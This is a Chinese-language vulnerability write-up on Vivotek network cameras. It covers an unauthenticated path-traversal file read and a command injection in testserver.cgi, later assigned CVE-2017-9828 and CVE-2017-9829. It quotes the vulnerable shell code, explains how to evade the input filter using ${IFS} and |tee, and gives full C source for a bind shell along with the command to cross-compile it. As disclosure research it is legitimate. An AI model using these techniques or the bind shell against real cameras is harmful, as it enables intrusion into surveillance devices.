内网中有一些 Vivotek 的网络摄像头,用作监控。直接访问 80 端口的 Web 服务,在 配置 - 维护 - 导入/导出文件 里导出配置文件,得到一个包含有 etc 文件夹的 tar 包。从目录结构来看,像是把 Linux 上的文件打包了一样,推测摄像头上运行着嵌入式 Linux 系统。
于是对 Web 服务进行黑盒测试,然而并没有发现什么漏洞。访问 /cgi-bin/viewer/getparam_cache.cgi?system_info_firmwareversion
得知固件版本号是 IB8369-VVTK-0102a
,那么型号应该就是 IB8369 了。去官网下载固件进行分析,顺手点开了固件旁边的用户指南,在一堆 cgi 接口中发现了这么一条:
这里的 query_string 居然是绝对路径,尝试读取 /etc/passwd ,返回 "Permission denied" :
如果按照用户手册里的 /mnt/auto/CF/NCMF/xx 来,就是不会遇到前面的问题:
然而后端只检查了前缀是否为 /mnt/auto/
,可以路径穿越到 / 下,读取任意文件:
以上是第一个漏洞。下面是命令注入:
从 ib8369firmware.zip 里解压出 IB8369-VVTK-0102a.flash.pkg 。去掉文件头部的 54 字节后用 BandiZip 可以提取出 rootfs.img ,是文件系统镜像。
/bin 里只有 busybox 是真的 ELF ,其他都是假的,全都是到 busybox 的软链接; /sbin 里有一些厂商编译的 ELF ,用于摄像头的各种配置,其他也都是到 /bin/busybox 的软链接; /usr/bin 里有很多厂商写的 shell 脚本,也是用于摄像头的配置; /usr/share/www/cgi-bin 里是 cgi 们,有很多是 shell 脚本,一部分是 ELF 。这些 shell 脚本很多都把用户输入带入命令去执行,或者是作为参数传递给专门处理某项配置的 ELF 。既然能访问到 Web 服务,那就从这些 cgi 入手好了。
花了半小时,终于在 /usr/share/www/cgi-bin/admin/testserver.cgi 发现了一处命令注入。这个接口是在添加监控事件对应操作时的测试服务可用性的功能,比如配置让摄像头在系统启动时发出特定 HTTP 请求,或在监测到特定画面变化时发送邮件,或是定时将日志发送到指定邮箱,这个接口就可以用于测试 HTTP 请求或是邮件能否正常发送。
这个 CGI 中先把用户输入存放在 strparam 这个变量中
if [ "$REQUEST_METHOD" = "POST" ]; then
strparam=`cat $stdin | cut -c1-$CONTENT_LENGTH`
else
strparam=$QUERY_STRING
fi
接着把 strparam 传给 decode.sh 进行 URL 解码,然后用正则取出各个参数,存放到对应变量中
strparam=`decode.sh $strparam`
type=`echo "$strparam" | sed -n 's/^.*type=\([^&]*\).*$/\1/p' | sed "s/%20/ /g"`
address=`echo "$strparam" | sed -n 's/^.*address=\([^&]*\).*$/\1/p' | sed "s/%20/ /g"`
...
senderemail=`echo "$strparam" | sed -n 's/^.*senderemail=\([^&]*\).*$/\1/p' | sed "s/%20/ /g"`
recipientemail=`echo "$strparam" | sed -n 's/^.*recipientemail=\([^&]*\).*$/\1/p' | sed "s/%20/ /g"`
...
之后,如果 type 是 email 并且 address 和 recipientemail 非空,就把用户输入的 sendermail 和 recipientmail 代入用 sh -c 执行的字符串里:
if [ -n "$address" ] && [ -n "$recipientemail" ]; then
#echo "$body" | sh -c "$SMTPC -s \"$title\" $mime_type -f \"$senderemail\" -S \"$address\" -P $port $auth \"$recipientemail\""
if [ "$sslmode" = "1" ]; then
check_smtp_over_https
sh -c "$SMTPC -s \"$title\" $mime_type -b $SEND_FILE -f \"$senderemail\" -S "127.0.0.1" -P "25" $auth \"$recipientemail\" $COS_PRIORITY_OPT $DSCP_PRIORITY_OPT"
else
sh -c "$SMTPC -s \"$title\" $mime_type -b $SEND_FILE -f \"$senderemail\" -S \"$address\" -P $port $auth \"$recipientemail\" $COS_PRIORITY_OPT $DSCP_PRIORITY_OPT"
fi
if [ "$?" = "0" ]
then
translator "the_email_has_been_sent_successfully"
else
translator "error_in_sending_email"
fi
else
translator "please_define_mail_server_location"
fi
值得一提的是,位于 /usr/bin 的 decode.sh 在 URL 解码之前,还用 gsub(/["<>]/,"",temp)
过滤了双引号和尖括号。同时,所有与空格等价的符号也不能使用,因为 CGI 把 strparam 传递给 decode.sh 的时候没有加引号,而 decode.sh 中 temp=$0
取的是第一个参数,也就是说如果 strparam 中有空格,decode.sh 会接收到多个参数,而最终只会返回第一个参数经过 decode 后的结果。
在这里我用变量 ${IFS}
替代空格,用 |tee
替代 >
:
构造 Payload 进行命令注入:
利用前面的文件读取漏洞查看命令执行的结果:
由于目标上没有 nc 或是 bash ,而且 sh 和 ash 都是软链接到 busybox 的 ,@RicterZ 建议我交叉编译一个 bindshell :
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
int main(int argc, char *argv[])
{
char msg[512];
int srv_sockfd, new_sockfd;
socklen_t new_addrlen;
struct sockaddr_in srv_addr, new_addr;
if (argc != 2)
{
printf("\nusage: ./tcpbind <listen port>\n");
return -1;
}
if (fork() == 0)
{
if ((srv_sockfd = socket(PF_INET, SOCK_STREAM, 0)) < 0)
{
perror("[error] socket() failed!");
return -1;
}
srv_addr.sin_family = PF_INET;
srv_addr.sin_port = htons(atoi(argv[1]));
srv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
if (bind(srv_sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr)) < 0)
{
perror("[error] bind() failed!");
return -1;
}
if (listen(srv_sockfd, 1) < 0)
{
perror("[error] listen() failed!");
return -1;
}
for (;;)
{
new_addrlen = sizeof(new_addr);
new_sockfd = accept(srv_sockfd, (struct sockaddr *)&new_addr, &new_addrlen);
if (new_sockfd < 0)
{
perror("[error] accept() failed!");
return -1;
}
if (fork() == 0)
{
close(srv_sockfd);
write(new_sockfd, msg, strlen(msg));
dup2(new_sockfd, 2);
dup2(new_sockfd, 1);
dup2(new_sockfd, 0);
execl("/bin/busybox", "/bin/busybox", "sh");
return 0;
}
else
close(new_sockfd);
}
}
return 0;
}
./arm-926ejs-linux-gnueabi-gcc --static -O2 /tmp/bindshell.c -o /tmp/bindshell
编译之后通过 FTP 传到摄像头的 /mnt/ramdisk 里(web 也有上传文件的接口),然后运行
/cgi-bin/admin/downloadMedias.cgi
和 /cgi-bin/admin/testserver.cgi
都没有鉴权,只要能访问 web 服务,就可以成功利用。已经确认可以成功攻击的型号有 IB8369-VVTK-0102a 、FD8164-VVTK-0200b 、FD816BA-VVTK-010101 。从官网下载了十几份不同型号的最新固件进行分析,发现都存在这两个漏洞,可以推测应该是通用的。只要是用户手册有 “If your SMTP server requires a secure connection (SSL)” 这句话,就可以推断这个型号存在上文提到的命令注入漏洞。这两个漏洞可以影响绝大部分的 Vivotek 网络摄像头。
Update on June 24th: CVE-2017-9828 and CVE-2017-9829 have been assigned to the vulnerabilities.